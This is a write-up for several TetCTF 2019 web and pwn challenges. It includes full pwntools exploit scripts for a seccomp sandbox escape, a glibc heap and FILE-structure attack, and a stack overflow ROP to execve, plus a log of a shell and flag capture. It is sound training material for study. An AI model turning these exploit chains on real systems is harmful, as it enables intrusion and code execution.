This is my write-up for TetCTF 19
- Web - IQTest2 (unsolved)
- Pwn - Easy webserver (unsolved)
- Pwn - Babysandbox
- Pwn - Babyheap
- Pwn - Babyfirst
Web
IQTest2
- After looking at the source code, there is a path that we can polute the
$level
variable to pass. It has to pass several condition check:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
if (isset($_COOKIE['saved']) && !empty($_COOKIE['saved']) && isset($_COOKIE['hash']) && !empty($_COOKIE['hash']))
{
$saved = base64_decode($_COOKIE["saved"]);
$seed = urldecode(substr($saved, 5 ));
}
if( md5($GLOBALS['secret'].$seed) === $_COOKIE['hash'] )
{
$level = $GLOBALS["seed_key"][$seed];
if ($level === NULL)
{
$saved = "level=i&".$saved;
$exp = explode("&", $saved);
foreach($exp as $value)
{
parse_str($value);
}
}
...
}
- For this to work:
$saved
gotta belevel=xiii
or something similar$seed
must not match any valid seed so$level
is null- So previously
$saved
isb64encode("level=xiii")
and so$seed
is=xiii
- Which means
md5($GLOBAL['secret']."=xiii") === $_COOKIE['hash']
But we also knows pairs of hashes/part of plaintext is the seed.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
f783148cc4750250969e3e1a0336aa43, c2VlZD10cnVl 997ca87069e58013ee1f499c348b686b, c2VlZD10c3U= d81384d795a9f245b7b9081b70fd6dba, c2VlZD1iMG5n dde85171daaf2508d5bb2ec2d0a2859e, c2VlZD1sMHYz a42bb0f900169d78df68390bb4ce4690, c2VlZD1saXZl e530da3436a296a64c95851ba57e22b3, c2VlZD1odWh1 b6f2505760fa81a262458eca297072db, c2VlZD1nZWdl f783148cc4750250969e3e1a0336aa43 997ca87069e58013ee1f499c348b686b d81384d795a9f245b7b9081b70fd6dba dde85171daaf2508d5bb2ec2d0a2859e a42bb0f900169d78df68390bb4ce4690 e530da3436a296a64c95851ba57e22b3 b6f2505760fa81a262458eca297072db
Pwn
Easy webserver
- This is a webserver written in C/C++. It has several functionalities at the first glance
- login
- describe the challenge
- download server-side code and binary
- Process requests to the additional endpoints:
- /secret
- /login
- /info
- /chung96vn
- Some handle POST requests as well
- This binary is complex because of C++ but I figured out that it uses asio library
- Examining strings reveals responses to the requests. I was able to leak the admin password by sending a wrong password of length 0x100. Somehow this input is placed right before the actual admin password and the server echo the wrong password back, therefore leaking the admin password.
- Logging in reveal more functionalities
- Submit a payload of (what seems like) an arbitrary length. The payload is placed in a file in
info/<ip>/<ip>.txt
- GET request to the /info entry read the file and responds with it. However, this endpoint checks if the
ip
GET param starts with the IP address of the request. If it doesn’t, the request is disregarded.
- Submit a payload of (what seems like) an arbitrary length. The payload is placed in a file in
- Tracing the binary and threads I was able to see what’s passed into the functions and syscalls. It uses some like stat, openat. Attempt to do path traversal was not successful.
- Maybe this is a race condition because it open files and write to it? What if we write different stuffs to the file multiple times in a short duration.
- Yeah there was a race, but I’m not sure where to go from here.
- Maybe the param to /info is read into a global buffer and it wasn’t lock properly. So we can somehow cause a race to make the server open
secret/flag
while checking some path that starts with our IP?
Baby Sandbox
- The program is just a simple stack buffer overflow. 64-bit, only NX so we can probably ROP. It’s also statically linked so there is likely to be enough gadgets.
- The sandbox has all protections on.
- The following syscalls are filtered:
- 59: sys_execve
- 322: stub_execveat
- 2 with flag: sys_open
- 257 with flag: sys_openat
- 304 with flag: sys_open_by_handle_at
- 57: sys_fork
- 58: sys_vfork
- 56: sys_clone
- 86: sys_link
- 0xb: munmap in x64 and execve in x86
- I ended up building a super dirty ROP chain to read more payload from another connection. That’s the hardest part because of the limited payload length. After that, it’s easy to make fixed memory segments executable and execute shellcode on that.
- The interesting sandbox bypassing techniques I’ve learned while researching for this challenge:
- Change the architecture so the syscall number is different and won’t be blacklisted.
- Kill the parent process
- Fork itself
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
from __future__ import print_function
from pwn import *
import os
GDBSCRIPT = """
b * 0x400bcb
"""
HOST = 'sandbox.chung96vn.cf'
PORT = 1337
BIN = './program'
addrs = {
'pushrsp': 0x450523,
'poprax': 0x4150d4,
'poprdi': 0x400686,
'subraxrdi': 0x4405b8,
'pushraxpoprbx': 0x488025,
'pushrbx': 0x44ad4f,
'poprdxpoprsi': 0x44b879,
'syscall': 0x4748a5,
'mprotect': 0x44a0c0,
'ret': 0x400bcb,
'poprsitordi': 0x446a5b,
'poprsi': 0x4100d3,
'addeax1': 0x474301,
'poprsp': 0x401d53,
'poprsi': 0x4100d3,
'poprdx': 0x44b856,
'adddhbl': 0x40058e,
'syscallpoprdxpoprsi': 0x44b877,
'movrsirbxsyscall': 0x047f52f
}
base = 0x6b6000
if os.environ.has_key('remote'):
r = remote(HOST, PORT)
else:
e = ELF(BIN)
r = process(["./sandbox", e.path])
if os.environ.has_key('debug'):
gdb.attach(r, gdbscript=GDBSCRIPT)
def pivotstack():
payload = ""
payload += p64(addrs['poprdi'])
payload += p64(base)
# pop struct sockaddr_in
payload += p64(addrs['poprsi'])
payload += p64(0x0100007f5c110002)
payload += p64(addrs['poprsitordi'])
# open socket
payload += p64(addrs['poprax'])
payload += p64(0x29)
payload += p64(addrs['poprdxpoprsi'])
payload += p64(0)
payload += p64(1)
payload += p64(addrs['poprdi'])
payload += p64(2)
payload += p64(addrs['syscallpoprdxpoprsi'])
# connect
payload += p64(0x10)
payload += p64(base)
payload += p64(addrs['poprdi'])
payload += p64(0)
payload += p64(addrs['poprax'])
payload += p64(0x2a)
payload += p64(addrs['syscall'])
# read
payload += p64(addrs['poprdx'])
payload += p64(0x600)
payload += p64(addrs['syscall'])
# pivot
payload += p64(addrs['poprsp'])
payload += p64(base)
return payload
def realropchain():
payload = ""
# Test write
payload += p64(addrs['poprax'])
payload += p64(1)
payload += p64(addrs['poprdx'])
payload += p64(0x50)
payload += p64(addrs['syscall'])
# mprotect 0x1000 bytes starting at 0x6bc3f0
payload = ""
payload += p64(addrs['poprdxpoprsi'])
payload += p64(0x7)
payload += p64(0x600)
payload += p64(addrs['poprdi'])
payload += p64(base)
payload += p64(addrs['poprax'])
payload += p64(10)
payload += p64(addrs['syscall'])
payload += p64(base + 0x50)
payload += '\x90' * 8
print(context.arch)
context.arch = 'amd64'
sc64 = """
mov DWORD PTR [rsp + 4], 0x23
mov DWORD PTR [rsp], {}
retf
""".format(base + 0x100)
payload += asm(sc64)
payload = payload.ljust(0x100, '\x90')
context.clear()
sc32 = """
mov eax, 63
mov ebx, 1
xor ecx, ecx
int 0x80
mov eax, 63
mov ebx, 2
xor ecx, ecx
int 0x80
"""
payload += asm(sc32)
payload += asm(shellcraft.i386.linux.readfile('/etc/passwd', 0))
payload = payload.ljust(0x300, '\x90')
return payload
def main():
l = listen(4444)
payload = 'A' * (8 * 7)
ropchain = pivotstack()
payload += ropchain
print("len payload = {}".format(len(payload)))
raw_input('pwn?')
r.sendline(payload)
payload = realropchain()
print("len payload 2 = {}".format(len(payload)))
l.sendline(payload)
r.interactive()
r.close()
if __name__ == '__main__':
main()
Babyheap
- This is a typical heap challenge interface with a jump table:
- alloc
- edit
- delete
- show
- Alloc:
- Doesn’t prompt for a size.
- Also doesn’t have canary (strange…)
- Alloc fixed size of 0x98 and store in a global array, max 6 chunks
- Edit:
- Delete:
- Free then set 0 at the global array
- Show:
- Magic: %ld
- Content: %s
The size of the allocated memory is exactly the sum of the member sizes. When using scanf, the last newline byte will be replaced with a null byte, results in 1-byte overflow into the next chunk’s size.
- This is glibc 2.23 so we can use the main_arena leak:
- Allocate 2 chunks.
- Free the first chunk then allocate again.
- Show the first chunk and the address of
main_arena
will be shown.
- The first idea I’ve got about the one-byte overflow is to first allocate some chunks of the same size, and then free 2 in the between, then modify the marginal chunks to overwrite the header of the freed chunks so when we allocate again,
malloc
will return a different pointer than we usually expect. - Something can probably be done based on the “shrinking free chunks” attack. But since the malloc size is fixed here, to get larger freed chunks, we can allocate and free 2 consecutive chunks so they coalesce.
- To bypass the
p->next->prevsize == p->size
check, we need to add fakeprevsize
to the chunk in between before freeing it. - Real size is 0xa0
Heap can be leaked by allocating at least 3 chunks and free 2 non-consecutives so the fd and bk in each are populated. Then allocate the chunk again and dump it.
- Need to allocate 5 chunks so when freeing 3, top chunk is not coalesced
- Need to fix fd and bk of chunk 1 to manipulate the unlink
- whatever in the fd and bk will be put onto the unsorted bin after the unlink. Then the thing in it will be returned in the next malloc fd + 8 * 4 == fd -> bk == P bk + 8 * 3 == bk -> fd == P fd -> bk = bk bk -> fd = fd
- Layout:
1 2 3 4 5 6 7 8 9
0x000: Chunk 0 0x0a0: Chunk 1 0x140: Chunk 2 0x1e0: Chunk 3 0x280: Chunk 4 0x320: Chunk 5 Need 0x1a0 to be 0x100 to be persistent with Chunk 1's size malloc_hook malloc_hook + 8 main_arena main_arena + 8
- I’ve just figured out that we can corrupt the prev_size of the next chunk as well, in addition to the first byte of the size to be 0.
- Shrink size of the free chunk or current chunk.
Oh man I’ve just figured out, too, that it’s not an off-by-one but off by many wtf.
- Okay here’s a new approach
- alloc 0 1 2
- make fake chunk inside 1
0 1 corrupted fake chunk(s)
- corrupt size of 1 using 0
- free 1
- Corrupt size to make 1 a fast chunk?? Then make more fast chunks to turn this into a fastbin attack?
So the idea is to eventually make a chunk of 2 different size appear in the unsorted bin so when 1 get allocated, the other still in the free list and we can manipulate it to create a fake chunk inside and then get it to return a desired pointer.
- SO here’s another approach
- Allocate all chunks. The target is to corrupt the prev_size of chunk 4 to
0x200
so when we free it, we have to to unlink a fake chunk at0x320 - 0x200 = 0x120
- Fake chunk will be created inside chunk 1
- Shrink a chunk and do the thing and free it so it unlink with the fake chunk
- Allocate all chunks. The target is to corrupt the prev_size of chunk 4 to
- Can’t overwrite the prev_size if the prev chunk is freed :(
- Wait. If I can overlap with the top chunk so I can control 2 chunk while it’s both free and allocated :o
- SO new plan
- Get the overlap at chunk 1
- When allocate again chunk 2 is the same as chunk 1
- Allocate 3 and 4 then do the trick above. Free 2 so the prev_in_use bit is unset be we can still overwrite the prev_size. This will allow 3 to unlink a fake chunk when we free it.
- Surprisingly freeing the overlap chunk put it in unsorted bin and we can control the bins while it’s on the free list. Here we go
- Now I can write a pointer to the heap (actually it’s address of main_arena) to what seems like an arbitrary location
- Alright so eventually I’ve found out that it’s a FILE structure exploit where I can overwrite
_IO_list_all
with the address of an unsorted bin. We can get the shell by triggering an error and all the file pointers will be closed. Basically we’ll overwrite the address of_IO_OVERFLOW
in the FILE vtable withsystem
. In addition, we need to forge a FILE structure to satisfy some condition so the overwritten_IO_OVERFLOW
function is called. The FILE structure will be at the smallbin of size 0x60 (smallbin[4]) - Need vtable address at 0x218
- Actually what we did is pointing
_IO_list_all
to a fake filestream and a fake vtable and in that vtable the entry of_IO_OVERFLOW
issystem
as we set it up.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
from __future__ import print_function
from pwn import *
import os
GDBSCRIPT = """
"""
HOST = '18.136.126.78'
PORT = 1336
BIN = './pwn03'
LIBC = './libc-2.23.so'
ALLOC = '1'
EDIT = '2'
REMOVE = '3'
SHOW = '4'
EXIT = '5'
PROMPT = 'YOUR CHOICE : '
libc = ELF(LIBC)
addrs = {
'mainarena': 0x3c4b78,
'mallochook': libc.symbols['__malloc_hook'],
'stdin': 0x3c48e0,
'iolistall': 0x3c5520,
'system': libc.symbols['system']
}
if os.environ.has_key('remote'):
r = remote(HOST, PORT)
else:
e = ELF(BIN)
r = process(e.path)
if os.environ.has_key('debug'):
gdb.attach(r, gdbscript=GDBSCRIPT)
def optalloc():
r.recvuntil(PROMPT)
r.sendline(ALLOC)
if 'FULL' in r.recvline():
print('ALLOC FAILED')
def optedit(idx, magic, content, l=True):
r.recvuntil(PROMPT)
r.sendline(EDIT)
r.recvuntil('Index : ')
r.sendline(str(idx))
r.recvuntil('Magic : ')
r.sendline(str(magic))
r.recvuntil('Content : ')
if l:
r.sendline(content)
else:
r.send(content)
def optremove(idx):
r.recvuntil(PROMPT)
r.sendline(REMOVE)
r.recvuntil('Index : ')
r.sendline(str(idx))
def optshow(idx):
r.recvuntil(PROMPT)
r.sendline(SHOW)
r.recvuntil('Index : ')
r.sendline(str(idx))
data = r.recvuntil('\nMENU').split('\n')[:2]
magic = int(data[0].split('Magic : ')[1])
content = data[1].split('Content : ')[1].ljust(8, '\x00')
content = u64(content)
return (magic, content)
def optexit():
r.recvuntil(PROMPT)
r.sendline(EXIT)
def leak():
optalloc() # 0
optalloc() # 1
optalloc() # 2
optalloc() # 3
optremove(0) # -0
optremove(2) # -2
optalloc() # 0
leakptrs = optshow(0)
libcbase = leakptrs[0] - addrs['mainarena']
heapbase = leakptrs[1] - 0x140
return (libcbase, heapbase)
def heapexp():
global libcbase
global heapbase
addrs['system'] += libcbase
payload = p64(0) * 4
payload += p64(heapbase + 0x220 - 0x18)
payload += p64(addrs['system'])
optedit(3, 0x0, payload)
optalloc() # 2
# By pass prev_size vs size when dealing with chunk 1 later
# If it's freed, it'll be checked
payload = 'A' * (0x1a0 - 0x158)
payload += p64(0x100)
optedit(2, 0x13371, payload)
# Consolidate 1 and 2 to get size 0x140
optremove(1)
optremove(2)
# Overwrite first time
chunk1 = heapbase + 0xa0
payload = p64(chunk1)
payload = payload.ljust(144, 'B')
optedit(0, chunk1, payload)
# Populate chunk 1 with the correct fd and bk
payload = p64(heapbase)
optalloc() # 1
optedit(1, heapbase, payload)
# Free 3 so it consolidate with top chunk and chunk 1
# because of the incorrect size. After this, chunk 1
# will overlap with top chunk. Another alloc will make
# chunk 2 the same as chunk 1
optremove(3)
optalloc() # 2
# Do the trick
optalloc() # 3
# Set prev_in_use of chunk 3 to 0
# This also put chunk 1/2 to unsorted bin
optremove(2)
# Modify prev_size of chunk 3
addrs['iolistall'] += libcbase
print('iolistall @ {:#x}'.format(addrs['iolistall']))
payload = p64(addrs['iolistall'] - 0x10)
payload += 'A' * 8
optedit(1, 0x13373, payload)
# Alloc so _IO_list_all is overwritten to main_arena
optalloc() # 2
# Now we need to fake a FILE at chunk 3 (0x140)
# Edit chunk 1/2 to write /bin/sh to the beginning of chunk 3
payload = 'F' * (144 - 8)
payload += '/bin/sh'
optedit(2, 0x1336, payload)
# Craft filestream
# Magic: _IO_read_end
# _IO_read_base
fs = p64(addrs['iolistall'] - 0x10)
fs += p64(0) + p64(1) # _IO_write_base < _IO_write_ptr
fs = fs.ljust(143, '\x00')
optedit(3, 0x0, fs)
r.interactive()
def main():
raw_input('pwn?')
global libcbase
global heapbase
libcbase, heapbase = leak()
print("libc @ {:#x}".format(libcbase))
print("heap @ {:#x}".format(heapbase))
heapexp()
r.close()
if __name__ == '__main__':
main()
Babyfirst
- The binary has all protections on.
- The binary implements its own read function.
- The binary reads a password of length 0x20 from /dev/urandom
- Login function:
- If the username starts with
admin
then prompt for a password. - Otherwise save the username to the buffer and count that as a logged in user.
- If the username starts with
- Leak password:
- Input an accepted username of length 0x20 so it reaches the password buffer. The username must not starts with
admin
so it can be saved to the buffer without a password. - Choose to play so the username with the password is printed out.
- Input an accepted username of length 0x20 so it reaches the password buffer. The username must not starts with
- Play function:
- It reads input of length 128 maximum and output it. This is stack overflow so we can leak the canary, binary base and libc base all in here.
- After that, this can be a normal BoF challenge.
1
2
3
4
5
6
7
8
Before:
0x0d60806019c93615 0xef683548a35d647c
0x44346fe9e7682bf5 0x899ccab9462b6744
After:
0x0d60806019c93615 0xef683548a35d647c
0x44346fe9e7682bf5 0x899ccab9462b6744
exploit.py
:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
from __future__ import print_function
from pwn import *
import os
GDBSCRIPT = """
"""
HOST = 'babyfirst.chung96vn.cf'
PORT = 31337
BIN = './babyfirst'
LIBC = './libc-2.27.so'
PROMPT = 'Your choice: '
LOGIN = '1'
PLAY = '2'
EXIT = '3'
bin_offset = 0xfc0
libc_offset = 0x21b97
libc = ELF(LIBC)
addrs = {
'system': libc.symbols['system'],
'binsh': libc.search('/bin/sh').next(),
'poprdi': 0x000000000002155f,
'poprax': 0x00000000000439c8,
'poprsi': 0x0000000000023e6a,
'poprdx': 0x0000000000001b96,
'syscall': 0x00000000000d2975
}
if os.environ.has_key('remote'):
r = remote(HOST, PORT)
else:
e = ELF(BIN)
r = process(e.path, env={'LD_PRELOAD': LIBC})
if os.environ.has_key('debug'):
gdb.attach(r, gdbscript=GDBSCRIPT)
def login(username, password=None):
r.recvuntil(PROMPT)
r.sendline(LOGIN)
r.recvuntil('User Name: ')
r.sendline(username)
if password != None:
r.recvuntil('Password: ')
r.sendline(password)
def play(play=None, payload=None):
r.recvuntil(PROMPT)
r.sendline(PLAY)
if play == None:
return r.recvuntil('Test Version only support for admin~')
r.recvuntil('Content: ')
# Leak stack
payload = 'A' * (8 * 4)
r.send(payload)
stack = r.recvuntil('\n').split(payload)[1]
if len(stack) < 6:
print("LEAK STACK FAILED")
exit(1)
stack = stack[:6].ljust(8, '\x00')
stack = u64(stack) - 0x140
print("STACK = {}".format(hex(stack)))
# Leaking canary
payload = 'A' * (8 * 5 + 1)
r.send(payload)
canary = r.recvuntil('\n').split(payload)[1]
if len(canary) < 7:
print("LEAK CANARY FAILED")
exit(1)
canary = canary[:7].rjust(8, '\x00')
canary = u64(canary)
print("CANARY = {}".format(hex(canary)))
# Leaking binary
payload = 'A' * (8 * 12)
r.send(payload)
binleak = r.recvuntil('\n').split(payload)[1]
if len(binleak) < 6:
print("LEAK BINARY FAILED")
exit(1)
binleak = binleak[:6].ljust(8, '\x00')
binleak = u64(binleak)
print("BINLEAK = {}".format(hex(binleak)))
binbase = binleak - bin_offset
print("BIN BAsE = {}".format(hex(binbase)))
# Leaking libc
payload = 'A' * (8 * 13)
r.send(payload)
libcleak = r.recvuntil('\n').split(payload)[1]
if len(libcleak) < 6:
print("LEAK LIBC FAILED")
exit(1)
libcleak = u64(libcleak[:6].ljust(8, '\x00'))
print("LIBCLEAK = {}".format(hex(libcleak)))
libcbase = libcleak - libc_offset
print("LIBC BASE = {}".format(hex(libcbase)))
for k in addrs.keys():
addrs[k] += libcbase
payload = 'A' * (8 * 2)
payload += p64(addrs['binsh'])
payload += '\x00' * (8 * 2)
payload += p64(canary)
payload += 'B' * 8
payload += p64(addrs['poprdi'])
payload += p64(addrs['binsh'])
payload += p64(addrs['poprsi'])
payload += p64(stack + 0x10)
payload += p64(addrs['poprdx'])
payload += p64(0x0)
payload += p64(addrs['poprax'])
payload += p64(59)
payload += p64(addrs['syscall'])
assert len(payload) <= 128
r.send(payload)
print(repr(r.recvuntil('\n')))
print("END==")
r.sendline('END')
print(r.recvuntil('\n'))
r.interactive()
def exit():
r.recvuntil(PROMPT)
r.sendline(EXIT)
def leakpass():
login('A' * 32)
leak = play()
leak = leak.split('A' * 32)[1].split('\nTest Version only support for admin~')[0]
if len(leak) < 0x10:
print("LEAK PASSWORD FAILED")
return None
leak = leak[:0x10]
return leak
def main():
raw_input("pwn?")
password = leakpass()
print("PASSWORD: {}".format(password.encode('hex')))
login("admin", password)
play(play=True)
r.close()
if __name__ == '__main__':
main()
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
➜ babyfirst remote=1 python exploit.py
[*] '/home/me/Desktop/tetctf/babyfirst/libc-2.27.so'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
[+] Opening connection to babyfirst.chung96vn.cf on port 31337: Done
pwn?
PASSWORD: ead76d78b8c95156fc838dd20e633463
STACK = 0x7ffdf4dbd4a0
CANARY = 0x2963933cecc44c00
BINLEAK = 0x55b917de2fc0
BIN BAsE = 0x55b917de2000
LIBCLEAK = 0x7fe18044cb97
LIBC BASE = 0x7fe18042b000
'AAAAAAAAAAAAAAAA\x9a\xee]\x80\xe1\x7f\n'
END==
END
[*] Switching to interactive mode
Every things is OK~~
$ ls
bin
boot
dev
etc
home
init.sh
lib
lib64
media
mnt
opt
proc
root
run
sbin
srv
sys
tmp
usr
var
$ ls -la
total 80
drwxr-xr-x 1 root root 4096 Dec 29 02:15 .
drwxr-xr-x 1 root root 4096 Dec 29 02:15 ..
-rwxr-xr-x 1 root root 0 Dec 29 02:15 .dockerenv
drwxr-xr-x 2 root root 4096 Nov 12 20:56 bin
drwxr-xr-x 2 root root 4096 Apr 24 2018 boot
drwxr-xr-x 5 root root 340 Dec 29 02:15 dev
drwxr-xr-x 1 root root 4096 Dec 29 02:15 etc
drwxr-xr-x 1 root root 4096 Dec 29 02:15 home
-rwxr-xr-x 1 root root 54 Dec 29 02:12 init.sh
drwxr-xr-x 1 root root 4096 Nov 12 20:54 lib
drwxr-xr-x 2 root root 4096 Nov 12 20:55 lib64
drwxr-xr-x 2 root root 4096 Nov 12 20:54 media
drwxr-xr-x 2 root root 4096 Nov 12 20:54 mnt
drwxr-xr-x 2 root root 4096 Nov 12 20:54 opt
dr-xr-xr-x 120 root root 0 Dec 29 02:15 proc
drwx------ 1 root root 4096 Dec 31 17:27 root
drwxrwxr-- 1 root root 4096 Dec 29 02:15 run
drwxr-xr-x 1 root root 4096 Nov 19 21:20 sbin
drwxr-xr-x 2 root root 4096 Nov 12 20:54 srv
dr-xr-xr-x 13 root root 0 Dec 31 18:54 sys
drwx-wx-wt 1 root root 4096 Dec 25 09:48 tmp
drwxr-xr-x 1 root root 4096 Nov 12 20:54 usr
drwxr-xr-x 1 root root 4096 Nov 12 20:56 var
$ cd /home
$ ls
babyfirst
$ cd babyfirst
$ ls
babyfirst
flag
run.sh
$ ls -la
total 52
drwxr-x--- 1 root babyfirst 4096 Dec 31 17:37 .
drwxr-xr-x 1 root root 4096 Dec 29 02:15 ..
-rwxr-x--- 1 root babyfirst 220 Apr 4 2018 .bash_logout
-rwxr-x--- 1 root babyfirst 3771 Apr 4 2018 .bashrc
-rwxr-x--- 1 root babyfirst 807 Apr 4 2018 .profile
-rwxr-x--- 1 root babyfirst 13448 Dec 31 17:36 babyfirst
-r--r----- 1 root babyfirst 25 Dec 29 02:21 flag
-rwxr-x--- 1 root babyfirst 67 Dec 29 02:15 run.sh
$ cat flag
TetCTF{Y0U_4r3_N0T_Baby}
$ cat run.sh
#!/bin/sh
#
exec 2>/dev/null
timeout 60 /home/babyfirst/babyfirst
[*] Got EOF while reading in interactive
$
- Initially I made a call to
system("/bin/sh")
but it didn’t work. My guest was that this new glibc 2.27 does some additional checks so the function can’t be called directly like that. That’s why I ended up doing asys_execve
instead.